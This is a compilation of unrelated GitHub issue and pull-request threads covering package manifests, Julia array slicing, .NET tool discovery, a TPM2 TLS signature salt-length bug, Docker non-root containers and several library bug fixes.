What type of update are you requesting?
A new version of an existing package
Current Package Identifier
CiKSolutions.LogTagAnalyzer
Package Version
3.2.7
Please describe the changes you would like to see
I removed the current latest version of this package in pull request #200010 because it returned 404.
In https://www.cik-solutions.com/datenlogger-monitoringsysteme/logtag-support/ there seems to be a new version available for replacement, but the download link points to a zip file instead of an exe installer, and the version number is one less digit compared to the previous one digit. I'm not sure if this is correct.

原文
我在拉取请求 #200010 中移除了此软件包当前的最新版本，因为它返回404.
在 https://www.cik-solutions.com/datenlogger-monitoringsysteme/logtag-support/ 中，似乎有新的版本可以进行替换，但下载链接指向一个zip文件而不是exe安装程序，且版本号相较于之前少了一位数字。我不确定这是否正确。

Confirmed. 👍🏼

The installer URL is https://www.cik-solutions.com/content/files/logtag-software/ltanalyzer3.zip.

Komac seems to give the wrong manifest for this version...


Map function to slices with index labels

Ability to map a function to slices of a KeyedArray including the dimension index names of each slice.
Proposed syntax below passes the slice and index names as a named tuple.
function my_func(  (; slice, I, X )  )

    "$I  $X    $(slice(:a))"

end

K  =   KeyedArray(   [1;2;;3;4;;;5;6;;7;8],   A=[:a,:b],   I=[:i,:j],   X=[:x,:y]   )

# proposed syntax
mapslices( my_func,  K;   dims=(:A) )

#would give the same result as
@tullio Z[i,x] := my_func( (; slice=K[:,i,x], I=K.I[i], X=K.X[x])  )
KeyedArray( Z, I=K.I, X=K.X)

I don't think I'm smart enough to build it myself.  Hence the request.
I previously requested similar functionality though based on the DataFramesMeta @rtransform macro. See my last post in https://github.com/mcabbott/AxisKeys.jl/issues/154
(reading it now its not very clear sorry)
In both requests the idea is to select a dimension or dimensions to slice across, then have access to both the underlying data and index labels both within the slice and orthogonal to the slice.

Genius thank you :)
I'll probably lay it out like this.
eachSliceKeys = with_axiskeys ∘ eachslice

function my_func( ( (;I,X),  slice)::Pair{NamedTuple,KeyedArray} )

    "$I  $X    $(slice(:a))"

end

K  =   KeyedArray(   [1;2;;3;4;;;5;6;;7;8],   A=[:a,:b],   I=[:i,:j],   X=[:x,:y]   )

@chain begin
    K
    eachSliceKeys(dims=(:I,:X))
    my_func.()
end

Sorry, one more question.
If the slice function returns a KeyedArray, so the result is a nested KeyedArray,   is there an easy way to flatten it ?
i.e. convert it to a single level 3D KeyedArray.
function my_func2( ( (;I,X),  slice)::Pair{<:NamedTuple,<:KeyedArray} )
KeyedArray(  I .* [slice(:a),slice(:b)] , New=[:n1,:n2]  )

end
@chain begin
K
eachSliceKeys(dims=(:I,:X))
my_func2.()
end

Thanks:)
I saw stack after I'd posted the question.
Amazing.  One word solution!

Is there any shorter way to do this ?
allMissing = isempty ∘ skipmissing

KA = KeyedArray( [1 2 3;1 missing 3; missing missing missing], a=[:a,:b,:c], x=[:x,:y,:z])

@chain begin

     X

    eachslice( dims = :a )

    filter( !allMissing, _ )

    AxisKeys.stack

end

Something like    filterslices(    X,   !allMissing,  dims  = :a  )


Csharpier fails on embeded .net versions without seting direct path to .net installation directory

Hello,
I'm using embeded version of .net.
Issue is if I don't set DOTNET_ROOT in user variables Csharpier is not discovering .net
dotnet csharpier --version
A fatal error occurred. The required library hostfxr.dll could not be found.
If this is a self-contained application, that library should exist in [C:\Users\ddebinski.dotnet\tools.store\csharpier\0.17.0\csharpier\0.17.0\tools\net6.0\any].
If this is a framework-dependent application, install the runtime in the global location [C:\Program Files\dotnet] or use the DOTNET_ROOT environment variable to specify the runtime
location or register the runtime location in [HKLM\SOFTWARE\dotnet\Setup\InstalledVersions\x64\InstallLocation].
dotnet --version
6.0.403
But if I set DOTNET_ROOT then it works, but Omnisharp fails (mainly see same error when lunch test debuger,  created other ticked (https://github.com/OmniSharp/omnisharp-vscode/issues/5533)) ....
How to reproduce?
Delete all installed versions of .net, download embeded, setup needed local variables, install csharpier in vscode.
I think auto discovery could be improved.
Thanks

Thanks for the reproduction steps. I'm not exactly clear how to download an embedded version of dotnet. It isn't something I'm familiar with and my googling has failed me.

Thanks for the reproduction steps. I'm not exactly clear how to download an embedded version of dotnet. It isn't something I'm familiar with and my googling has failed me.

On download page https://dotnet.microsoft.com/en-us/download/dotnet/7.0 simply choose Binary version. then unzip, set .net path to your environment variable, and run some project.

The latest version of the vscode extension should handle this now. It locates dotnet, and then sets DOTNET_ROOT when it runs csharpier. If it can't locate dotnet on the PATH, it respects the configurations dotnet.dotnetpath and omnisharp.dotNetCliPaths


Salt length check fails during handshake on Windows with tpm2 on server side (on some TPM modules)

Hi,
if I try to perform a TLS handshake with tpm2 provider being used on the server side on Windows, I get the following error:
SSL_connect error: error:02000088:rsa routines::salt length check failed

This command is being used to create the certificate:
openssl req -provider-path . -provider tpm2 -provider default -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 365

The actual error happens in the rsa_pss.c in the function RSA_verify_PKCS1_PSS_mgf1. The Autos tab shows the mismatching sizes:

Although the error happens inside of OpenSSL code, I assume the error is tpm2 provider related. Everything works as expected if I do not load the provider and use a regular certificate.
If it is of any help, I can also test the code on a Linux VM and see if it works there.
Any help is appreciated, even if it is only a hint on where to look at so I can debug into this myself. Thanks.

Hmmm. There may be something wrong in the public key or the certificate. Would you please be able to compare the certificate used when it works vs when it doesn't work (openssl x509 -noout -text -in cert.pem)? There may be some metadata missing from the ASN.1 structure that confuses the peer openssl.

What makes me wonder is the fact that the RSA-PSS code seems to be used, the certificate is RSA though. Might this be the problem?
Here is the output for the certificates I am using.
tpm2 certificate:
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            36:ab:c8:67:e8:32:77:99:cb:c5:64:16:c3:5f:3f:37:4f:91:d9:0f
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Validity
            Not Before: Jun  7 14:07:28 2023 GMT
            Not After : Jun  6 14:07:28 2024 GMT
        Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:b3:89:9b:75:3a:65:8d:15:e5:a7:ec:4b:64:0c:
                    57:7c:ed:bd:f5:2b:0a:e6:f3:5e:6c:2f:8d:36:e6:
                    be:00:f7:e3:33:dc:a5:22:36:eb:9c:7a:81:e8:10:
                    29:0d:f0:b8:65:78:3c:16:83:8b:65:3a:b2:33:92:
                    f7:ef:97:c3:00:e1:50:f6:a2:3a:bf:8b:9f:b6:37:
                    f7:a1:38:ad:1d:4f:ef:fe:d6:1e:92:cf:85:86:d4:
                    9b:3a:17:52:ec:95:30:39:95:76:54:05:4b:61:31:
                    29:1c:6a:28:6e:6d:2e:51:a3:b3:2d:df:b1:56:4c:
                    55:30:41:4b:29:11:59:60:2a:2e:78:3a:ca:df:7b:
                    cf:c5:50:1b:d3:29:3c:f9:87:ee:ad:0a:ce:47:83:
                    9c:68:82:89:bf:6a:91:e4:3b:dc:f3:6d:a2:56:41:
                    2b:9f:00:bd:9f:0d:8b:98:3c:f4:aa:de:9a:0d:35:
                    ba:9a:28:d6:d5:9d:62:f7:cf:62:75:ea:11:94:21:
                    65:d2:97:36:56:aa:ef:1a:40:28:73:d2:e6:ac:54:
                    a2:4a:ae:7e:e1:58:1e:ac:41:bf:92:ee:99:4b:dd:
                    98:e9:f2:00:4e:84:3e:56:56:07:9a:3f:a7:e2:7d:
                    06:ca:19:1e:31:82:02:54:e6:fd:ad:4a:7d:e8:26:
                    74:1b
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                4B:40:56:D1:F7:32:51:E4:FD:05:6B:2B:27:0C:93:D4:1F:FC:70:D4
            X509v3 Authority Key Identifier:
                4B:40:56:D1:F7:32:51:E4:FD:05:6B:2B:27:0C:93:D4:1F:FC:70:D4
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        95:73:b3:b0:32:4d:9d:05:f4:87:ec:9c:2c:02:0b:7a:63:3a:
        82:97:03:a7:ce:4b:b4:c1:2c:a1:55:fc:e4:c2:59:6f:14:4c:
        5f:df:e7:08:6c:be:31:ee:3a:22:6a:39:b6:75:2b:ef:7b:0c:
        64:51:9d:23:d8:ac:d2:a2:d0:6e:3f:cb:28:a2:91:a7:42:ba:
        96:6d:4c:7a:a3:ba:00:eb:5d:03:85:80:41:22:c0:f1:70:0d:
        b8:b8:f9:50:8f:87:95:a4:ac:ad:0f:d2:78:b3:a1:a7:ab:2f:
        36:17:ef:40:70:04:06:e9:d6:dd:02:39:52:ce:31:d7:3b:7b:
        8f:58:ae:de:92:b7:4a:1a:01:f1:2d:03:d3:ea:a8:e1:cd:58:
        eb:fb:76:64:aa:4d:bc:93:23:91:e2:0b:0e:27:44:dc:6e:4c:
        e8:ba:4e:f8:bc:34:e2:c9:41:4a:4b:d0:2e:43:a6:d3:4f:e7:
        91:98:7b:e2:58:16:74:c4:c0:de:0a:80:88:85:3c:32:06:29:
        16:f4:28:2a:c3:de:12:02:64:d6:ec:c4:a0:02:af:55:0a:db:
        ad:49:c9:5d:c2:1d:b0:5e:d7:29:1c:14:96:5c:96:fd:38:b9:
        8c:c8:5a:16:24:0b:ea:b6:20:ec:1d:8c:7a:57:63:72:06:0a:
        fb:fc:46:d0

regular certificate:
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            72:f1:c4:2c:a3:e8:45:cc:20:1d:c9:d3:6f:5c:0e:0e:e4:4f:d0:36
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Validity
            Not Before: Jun  7 14:08:13 2023 GMT
            Not After : Jun  6 14:08:13 2024 GMT
        Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:89:b8:d3:5c:ef:53:45:dc:e4:4a:ed:8c:fa:c9:
                    2f:34:06:60:06:73:9c:db:62:8d:92:07:dc:19:61:
                    19:5a:02:42:03:b5:61:52:a3:35:67:59:28:0b:ec:
                    d1:91:bb:9c:14:1b:f8:0a:13:29:69:1c:1f:ac:4f:
                    46:4e:d7:e3:38:2b:88:de:10:b1:d2:57:a0:1a:26:
                    5b:12:f5:49:d6:0e:ed:e8:80:a0:d2:d5:55:27:63:
                    43:aa:0a:56:55:71:31:ff:16:11:c1:95:ba:08:1e:
                    e8:6d:79:e9:ed:89:c1:2f:c9:f6:4f:00:9f:e1:7d:
                    08:47:91:c2:b8:24:24:ff:02:5d:9a:08:04:e5:45:
                    32:d7:24:73:46:33:d3:8a:e1:eb:f7:34:3c:4b:e6:
                    8f:74:01:60:91:4e:9d:99:59:41:6c:57:c7:dc:12:
                    c1:64:57:75:8d:a3:64:2f:f7:e7:d4:0f:77:ea:66:
                    df:d6:f8:c9:f0:ab:ba:dd:72:6a:db:92:76:4d:be:
                    32:65:b5:8a:71:f3:b4:02:86:31:d4:ca:91:ee:70:
                    67:c7:85:a9:98:20:f0:dc:0e:02:85:f5:5f:a6:00:
                    8f:b8:4c:0f:4f:2a:c2:e8:b6:04:a4:42:10:68:d3:
                    f1:6c:a0:0c:a7:db:32:28:b5:f3:1a:1b:0a:97:8a:
                    03:a3
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                87:F6:08:88:01:EE:00:3C:4B:52:C1:A1:18:0E:B7:CE:B9:93:1A:4C
            X509v3 Authority Key Identifier:
                87:F6:08:88:01:EE:00:3C:4B:52:C1:A1:18:0E:B7:CE:B9:93:1A:4C
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        70:a4:8b:ff:2c:63:a4:48:23:5e:35:06:04:83:35:34:83:e2:
        3f:30:41:16:14:e8:5a:36:f8:71:7c:42:6a:f0:eb:fc:76:99:
        a8:b0:9f:1f:3b:00:b4:e2:d5:cf:56:02:19:11:57:5d:7e:04:
        be:7d:dc:64:8c:16:ef:0e:9a:04:c1:bd:cd:50:bc:04:44:24:
        80:c2:04:b0:fd:3f:f2:c3:92:32:4c:0e:78:36:de:09:b9:ed:
        86:da:91:d1:bd:de:16:e0:6e:65:ee:6c:bd:61:77:45:2c:e3:
        d8:80:a3:97:ba:93:8a:74:dd:6e:93:e8:5c:fb:cb:ce:79:79:
        bb:63:ac:00:cd:48:85:1f:e9:ce:d1:ad:89:4e:ba:f6:86:21:
        86:11:86:7e:75:8e:e8:81:7a:07:ea:36:c5:f9:2c:b4:3a:e6:
        a9:1c:5d:f5:7d:73:97:2d:38:8d:c9:14:91:36:5b:14:d9:61:
        9a:bf:e0:da:5c:16:08:3a:0d:21:8f:34:98:c9:8c:24:ff:d6:
        4d:b1:56:f6:df:cf:6a:99:fc:06:95:27:98:16:7d:75:85:1f:
        c0:ec:9d:3f:03:53:20:1d:66:02:aa:b7:b8:e0:aa:76:97:49:
        a8:64:f7:02:bb:0a:6e:14:8f:4e:6b:6a:d2:cc:63:87:ec:b9:
        b0:b8:73:6a

The metadata is the same, only the creation date and the actual certificate entries are different. The regular keypair works in the handshare, the tpm2 does not.

The handshake actually only fails on real tpm2 hardware, it works now in a virtual machine with a simulated tpm2 module. Could there be some functionality missing on my tpm2 hardware module?
And I also debugged the specific function a little deeper and it actually goes the same way with the tpm2 certificate and the regular certificate. The XOR of EM and DB fails, in the screenshot you can see that, i.e. the first byte on each side (32 and 33) will not XOR to 0, which it expects later:

The check is done on client side, which does not use the tpm2 provider. So I assume the server side (with tpm2) sends wrong data?
Where would be the best place to look at what actually goes wrong here?

I was able to test it on other TPM hardware and it works on 1 machine and does not work on 2 other machines (in addition to it working in a VM with a simulated TPM module). So in general it works, which is good.
The question now would be, how to determine which TPM module works and which do not? @gotthardp Do you maybe have an idea?

Hi,
if I try to perform a TLS handshake with tpm2 provider being used on the server side on Windows, I get the following error:
SSL_connect error: error:02000088:rsa routines::salt length check failed

If it is of any help, I can also test the code on a Linux VM and see if it works there.
Any help is appreciated, even if it is only a hint on where to look at so I can debug into this myself. Thanks.

As seen in the debug window TPM is generating signature with salt length = 222 (which is the max value possible with your key and digest). But OpenSSL would want to see 32 (same as digest length) as per TLS 1.3.
This is likely because TPM on your PC  is following the old standard (see this link too: https://learn.microsoft.com/en-us/answers/questions/467673/windows-10-tpm-2-0-client-authentication-in-tls-1).

Hi philippun1, May I ask do you get the root cause? I have the same issue as yours. My tpm2 chip is SLB 9665 TPM2.0 which probably an old one.


Can't open latest insider version

After I upgrade latest insider second minutes ago...

After I restart my computer, It still can't open. I had reinstalled latest insider version, it can normally open now.

it can normally open now

Good to know, let us know if it comes back.


Running container with unprivileged user (node:node)

Important !!!
Current users need to manually change ownership of database files to 1000:1000
As it "breaks compatibility" somehow and requires user attention, it needs to be documented in Wiki.

Pretty fair: I'll try to find some solutions (gosu or something similar is my idea now), but it will take some time to test it. It will be also good for the future, e.g. some maintenance scripts. I'm closing the PR, but if you have any other ideas, let me know in comments.

And I did a quick search of other famous project's dockerfile, they are also running as root.
Swarmpit
https://github.com/swarmpit/swarmpit/blob/master/Dockerfile
Portainer
https://github.com/portainer/portainer/tree/develop/build/linux
PiHole
https://github.com/pi-hole/docker-pi-hole/blob/master/Dockerfile

Although I just read a lot of articles said that we should not run a container with root. At the same time, there are actually a lot of famous projects run as root.

You need to show some example code that how a container's root attacks the host machine or other containers.
Why another projects allowed to run as root, but Uptime Kuma is not allowed.

Regarding Portainer - they use root because they have a lot of issues dealing with docker.sock. But they keep trying to improve it.
I don't know any exploits for root Docker containers, but I'll try to do some research.
Uptime Kuma is absolutely allowed to run as root. What I mean, running as non-root is a good security practice, which minimize attack surface. It is officially recommended by OWASP. The project is young, and it's a good time to use security practices from the very beginning. btw. It works fine, it does not require even changes in code: I just changed my compose file (in stack) to run as unprivileged user. However, setting user with Dockerfile would be a better solution than changing it from compose file or command line.
What I found: Podman and OpenShift don't run containers as root by default. I'm not familiar with them both, so can't say how they work with Uptime Kuma. I guess they could replace UID and GID with some random. Similarly, as my stack now, it should work as non-privileged user when started.
Regarding other projects, running containers as root user. I guess there are few really require that (for dealing with hosts or lower ports). I see in most cases the creators are just focused on development or just don't care about security.

I hope these few arguments can convince you this could be a good idea. I completely agree the changes cannot impact users, so the thing would be not to reject the security improvements, but how to implement them (to be transparent for users and don't require interference, just automatically assign all permissions with container startup).

I'm just researching different ways of dropping privileges used in Docker and how it's done in other images:

gosu: probably not - there are more lightweight alternatives
su-exec: very light, but not active maintained
setpriv: can be a good choice
other: su, chroot etc.

I need some time to build all images with all versions and test it in different setups (new clean, already existing files). Probably I'll do it during weekend and then commit a new PR.
btw. Is there any testing procedure or requirements before publishing PR?

There is no unit test yet. Might have to test it manually.
The PR rule: https://github.com/louislam/uptime-kuma/blob/master/CONTRIBUTING.md#can-i-create-a-pull-request-for-uptime-kuma
Generally I will accept it if there is no side effects for current users.
Manual test cases:

Versions: master / 1.6.2
Platform: amd64 / armv7 / arm64 / Raspberry PI
Clean install / Update from 1.5.0


Container does not start

[Environment]
Intel 5105 CPU
16 GB DDR4
Ubuntu 22.04 with all latest updates
Docker
Portainer Business
[Docker Compose]
version: '3'

services:
  kms:
    image: ghcr.io/py-kms-organization/py-kms:python3
    ports:
      - 1688:1688
      - 46780:8080
    environment:
      IP: "::"
      HWID: RANDOM
      LOGLEVEL: INFO
    restart: always
    volumes:
      - ./db:/home/py-kms/db
      - /etc/localtime:/etc/localtime:ro

[Issue]
The container deploys and in Portainer I see that the ports are properly assigned. Then after about 10 seconds the ports disappear from Portainer in the container list, pykms is still showing as "running" but nothing is accessible clicking on the container name shows that the status is "restarting".
[Troubleshooting]
I deployed this on another docker host with the exact same configuration, although slightly different hardware. It runs without issues.
[My Ask]
Wondering what I can look at to trouble shoot this. I tried changing the ports/leaving them at default, etc. No go. The ports are not consumed by any other container or service. Tried rebooting the machine as well. I've tried another ENV for the time:
TX: America/Halifax
Same issue.
I then deployed another pykms container "pykmsorg/py-kms" which works totally fine on 1688, however, this container has no webUI which is the whole purpose I wanted to switch to it.
Any ideas?
Thanks!

I've always had problems using the environment variable IP for some reason, I instead included an ip address at the ports section like so:

This seemed to have fixed the problem with mine where it simply crashes and restarts without any logs

Thanks for the suggestions, especially on Christmas Day, haha! Unfortunately it has the same issue with both options:
I removed the IP ENV variable and added the IP in the ports like your screenshot. Failed to start like before. I removed the IP and just left the ports. Same issue.
I tried a couple other random containers and they all worked correctly. I then specifically told it to pull the AMD64 image by specifying the image hash. Same issue.
I'm not going to worry about it, unless there are any ideas, I'm just going to deploy it on another host. It's obviously something with this particular host as this container works on another host with a similar config. If I ever do figure it out I'll post here too. Just really weird! haha

This is indeed really strange, especially as it works on another machine. Idk, but I had some Docker problems a long time ago where something with the cgroupfs was wrong? Also ensure that the permissions of the database are correct (maybe try not to mount it and check if that helps). Finally, without logs I cannot help you. Try to look into docker events to see what is going on and getting the logs of the crashing container, please.

Long time, no update - as it works for me I'll close it.


To Do

Small Tweaks:
To Do:

adding events & announcements (Submit, for board members)

won't add to log, will be options in "difficulty" settings

wall of fame for most donations and contributions (Home)

three frames:

Most Charitable
Most Problems Submitted (Board)
Most Problems Submitted (Non-Board)

mobile compatibility (Events)
add options to change code/theme color (Puzzle)
ACM word cloud (About)

Long Term Projects:

problem collision checker (Submit)
solution checker (Submit)
add profile tab for each member with their logistics & contact info

can choose to make it public/private
GitHub, Facebook, LinkedIn, UCI email
PICTURES

moved to project


Lib not working (This is for people looking at it so they don't waste time)

Library hasn't been converted to the mandatory v2 api.
Library doesn't work. (Not asking for help from the maintained, he's stated he has no time) just so people looking at it don't waste their time, as I did.

Hi mate,
Feel free to send a pull request I'll be glad to add you as a maintainer and release a new major version.

Is it still useful? I thought people search api by Linkedin is closed


Add Openutau

[x] I have read the Contributing Guide.

/verify

@oxygen-dioxide, please add checkver and update to the latest version.

/verify


Added legend tooltip to cost chart

This adds a legend tooltip to the cost chart shown for the Ocp overview.
Note: I've only updated one chart for this PR -- more updates to follow.
See https://issues.redhat.com/browse/COST-256
Before

After

Codecov Report

Merging #1578 into master will increase coverage by 0.14%.
The diff coverage is 16.66%.

@@            Coverage Diff             @@
##           master    #1578      +/-   ##
==========================================
+ Coverage   78.51%   78.65%   +0.14%
==========================================
  Files         235      235
  Lines        3849     3842       -7
  Branches      708      704       -4
==========================================
  Hits         3022     3022
+ Misses        739      732       -7
  Partials       88       88

Impacted Files
Coverage Δ

...charts/historicalCostChart/historicalCostChart.tsx
82.90% <ø> (ø)

...arts/historicalTrendChart/historicalTrendChart.tsx
84.53% <ø> (ø)

...arts/historicalUsageChart/historicalUsageChart.tsx
83.07% <ø> (ø)

src/components/charts/trendChart/trendChart.tsx
78.70% <ø> (ø)

src/components/charts/usageChart/usageChart.tsx
80.95% <ø> (ø)

src/components/charts/costChart/costChart.tsx
7.62% <16.66%> (+0.42%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cc645ca...e3b25e1. Read the comment docs.


[Docker] docker image for v2.4.0 is not available on dockerhub

Could someone have permission publish it there?

/cc @codelipenghui

@yjshen @codelipenghui has pushed the pulsar 2.4.0 images. Please check if you are able to fetch it.


deepbgc output result tsv file

There are only product classes in the TSV file.
So,
How do I know what the metabolite compound ( Main product ) is?

Hi @APengs494, the main goal of DeepBGC is to discover potentially novel BGCs, so we are not predicting the substrate or main product, only the BGC region and the product class.


Type not detected when src includes query string

If a media element's src includes a query string, as in video.mp4?foo=bar, then the type will not be detected, and must be manually specified.
The issue is in the checkType function. The variable ext in the case above is equal to mp4?foo=bar instead of mp4.
Here's my quick solution, inserted after line 730 in mediaelement.js:
qsIndex = ext.indexOf('?');
if (qsIndex > -1) {
    ext = ext.substring(0, qsIndex);
}

It appears in the latest code this problem can now be traced to getTypeFromFile
var ext = url.substring(url.lastIndexOf('.') + 1);
return (/(mp4|m4v|ogg|ogv|webm|flv|wmv|mpeg|mov)/gi.test(ext) ? 'video' : 'audio') + '/' + ext;

The substring which should only include the file extension will also include the query string.
To fix, we can split out the part of  he url before the query string:
var path = url.split('?', 1)[0],
    ext = path.substring(path.lastIndexOf('.') + 1);
return (/(mp4|m4v|ogg|ogv|webm|flv|wmv|mpeg|mov)/gi.test(ext) ? 'video' : 'audio') + '/' + ext;

Currently running into this issue for protected video downloads in Amazon S3. Any idea when/if this'll get patched to core?


Profile for Loupedeck

Hello !
I'd like to know if this plugin can be adapted for Loupedeck users ?
I can't use it since I bought (and sometimes I regret it) a Razer Streamdeck, which runs on loupedeck.
Is it possible ?
Thanks !

Unfortunately no, this was written specifically for Elgato streamdecks. I don't even have a Razer/Loupedeck.

Thank you for you kind reply,
However, it would be nice, considering there are some concurrent in the steamdeck industry… an adaptation isn’t really possible ? Thanks

It isn't possible for me to do.


Code quality fix - The diamond operator ("<>") should be used.

This pull request is focused on resolving occurrences of Sonar rule
squid:S2293 - The diamond operator ("<>") should be used.
You can find more information about the issue here:
https://dev.eclipse.org/sonar/rules/show/squid:S2293
Please let me know if you have any questions.
Faisal Hameed

@faisal-hameed,
Many thanks for your fixes!


You've reached the rate limit for sending messages with the current model! This limit helps us ensure a high-quality experience for all users. Please wait a bit before attempting to send more messages.

please complete the following information:

OS version: [e.g. Win 10, Mac Catalina]
Editor: [e.g. vscode, intelij, sublime]
Editor version:
Programming language: [e.g. js, ts, c++]
TabNine extension version:
Engine version (could be located within Tabnine Hub):

Issue Details:
I'm on probation, why is this happening?
gz#32818(related to Zendesk ticket #32818)

We have a rate limit  to the different models (not to our protected model)


koa and deno/oak?

How does it compare to koa/node and deno/oak?

I'm not sure about Deno as I personally do not use Deno and HyperExpress is meant to be Node.js focused but HyperExpress should be much faster than Koa as Fastify is faster than Koa in their benchmarks and If you look at the benchmarks in the README, HyperExpress beats Fastify by a huge margin in high stress environments. You can look at Fastify's benchmarks here: https://www.fastify.io/benchmarks/

You could also look at https://web-frameworks-benchmark.netlify.app/result for benchmarks across various programming languages/frameworks. NanoExpress would be closest in performance to HyperExpress as both are built atop uWebsockets.js


Add curl 8.4.0

This is based on https://github.com/open-telemetry/opentelemetry-cpp/blob/47db4d0c0adfe2572d8b072518ae51fd5ec43961/bazel/curl.BUILD

Hello @bazelbuild/bcr-maintainers, modules without existing maintainers (curl) have been updated in this PR. Please review the changes.

it looks like the linux build for this doesn't support SSL (https). Is that right? Would a future patch supporting SSL through boringssl be possible?

Interesting, considering how this is being used in opentelemetry I'm surprised by that. Does that require boringssl? But regardless I think we should enable things like that through starlark flags for flipping that behavior on / off and just try to pick the most reasonable defaults as best we can

Does that require boringssl?

No, but its the only ssl implementation in the bcr. The curl build here https://github.com/googleapis/google-cloud-cpp/blob/main/bazel/curl.BUILD uses boringssl.

I think we should enable things like that through starlark flags for flipping that behavior on / off and just try to pick the most reasonable defaults as best we can

Honestly I'm not sure what the best approach is. I've done config settings here in the past, but I don't know if it was the right call.
It would be nice if we could declare features at the module level like this:
bazel_dep(name = "curl", version = "8.4.0", features = ["openssl"])

but I don't think something like that exists :/


Pagination component

I think it would be cool to work in a pagination component, it could take props for:

decide if you want the prev/next page to be buttons or arrows
decide how many page buttons to display
decide if you want to move between pages using buttons with page number or otherwhise use text input to write the page
some color props to give style to the page buttons

I could work on this

@ManuelMartinDev Sure go ahead. For color make a prop named - type: 'default' | 'secondary' | 'danger' | 'warning' | 'success'| 'light' (use same colors as the Button Component )


Unable to replicate FB upload new profile pic functionality

So, this is 95% there for it. There just isn't a way to click a pic -> Go to a crop view, then crop pic.
Further, it seems like you use a custom button for the Done as the right button for Navigation bar. Why don't you use the default .Done, which looks better? A tad redundant to number the selected pics on the pics and then have the selected number on the top right as well. It doesn't look very aesthetically pleasing like that and the reason someone would use this is for it to mimic 100% the functionality they're looking for.
Anyways, just an FYI, but I'll see if I can get a crop thing going and make a pull request.

Thanks @dilizarov
I'm making a photo browser that offers allowsEditing API like UIImagePickerController :) Further, I want to improve animation effect and improve image with CoreImage. If you send me a pull request I will appreciate it :)
For the Done button, maybe you are right that selected number is unnecessary. Maybe I shouldn't to copy the FB completely. Nevertheless, if you have selected an image in the "A" album, then switch to another album "B", in the case, if you wants to know how many images are selected? I will have to think it over.

I know, this is old... But, if there any chance to get the crop functionality?

I ended up messing with the source code of this library and pairing it with
another cropping library. My code is pretty hacky and not pretty though. If
you want it, I could find it in one of my projects.
On Thu, Jan 19, 2017 at 7:22 AM, Stefan Sturm<EMAIL_ADDRESS>wrote:

I know, this is old... But, if there any chance to get the crop
functionality?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/zhangao0086/DKImagePickerController/issues/9#issuecomment-273804291,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ADoZ6oGjz8Fy9Edu5FD3civMswq8GMo3ks5rT3-xgaJpZM4F0b9O
.

--
Sent from my iPhone


Allow multiple clients with runtime config

Summary
Currently, gutsy generates clients with a shared global config ChirpClient.configuration, which sets the api_version and resource_namespacevalues to whatever API endpoint gets generated first. These values are used to fetch the client's http adapter and generate its url.
This pull allows you to pass in api_version and resource_namespace as options, so it returns the correct url and http adapter for the client.
You can use the generated defaults (first client wins) and change it to talk to another resource/api endpoint:
ChirpClient.configure do |config|
  config.api_key = 'blah'
  config.api_secret = 'boo'
end

client = ChirpClient::V6::Note.new
client.list(derived_encounter_uid: "3b88f6701ef74adea1e1abc78688388b")

client = ChirpClient::V4::Patient.new(nil, options: { api_version: 'v4', resource_namespace: 'patients/' })
client.show(Patient.last.guid)

Supports this card - https://trello.com/c/H2bEZcBO/523-8-talix-integration-outbound-export

@alexrothenberg I looked into testing the template output, but the best option looks like doing something like string = ERB.new(template_file) and then doing assertions on the outputted string, which doesn't seem very valuable to me. That strategy pretty much amounts to testing ruby string interpolation and doesn't really give much confidence that the generated client will work at all.
Seems like the best way to go still is to generate the client in dev and try it out.

I was thinking of testing it similarly to how we test braise but if you don't think that's a good idea that's ok too

Given a jsonschema file (checked in)
Run gutsy
Compare actual generated files to expected output (checked in)

https://github.com/IoraHealth/braise/blob/master/test/acceptance_test.exs & https://github.com/IoraHealth/braise/tree/master/examples.


enum in return position have wrong type

Describe the Bug
rust enums in return position are typed as object, but at runtime they're just a number
Steps to Reproduce
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub enum A {
    B,
    C,
}

#[wasm_bindgen]
pub fn b() -> A {
    return A::B;
}

import { b } from "./dist/b.js";

console.log(typeof b()); //number
console.log(b() === 0);

error: TS2367 [ERROR]: This comparison appears to be unintentional because the types 'Readonly<{ B: 0; "0": "B"; C: 1; "1": "C"; }>' and 'number' have no overlap.
console.log(b() === 0);
            ~~~~~~~~~

wasm-bindgen 0.2.91

Weird. I think this is the bit of the generated code causing the issue:
/**
* @returns {A}
*/
export function b() {
    const ret = wasm.b();
    return ret;
}

/**
*/
export const A = Object.freeze({ B:0,"0":"B",C:1,"1":"C", });

It seems like TypeScript is interpreting the @returns {A} as @returns {typeof A} for some reason.
Is this happening in Deno? I can reproduce it with Deno, but not with plain TSC, I think because TSC automatically checks for b.d.ts and Deno doesn't. If it is, you can get Deno to use the proper type annotations instead of the JSDoc ones with @deno-types:
// @deno-types="./dist/b.d.ts"
import { b } from "./dist/b.js";

console.log(typeof b()); //number
console.log(b() === 0);

There are 2 approaches to solving this properly:

Add @enum {number} to export const A. This isn't as good as it being a real TypeScript enum, it basically just declares type A = number but it fixes the error.
Add a /// <reference types="..." /> to the JS file when using --target deno so that Deno can pick up the proper type declarations in the first place.

Probably we should do both, since the JSDoc declarations should work if necessary (e.g. --no-typescript is passed) but then the TypeScript declarations should be used if available.

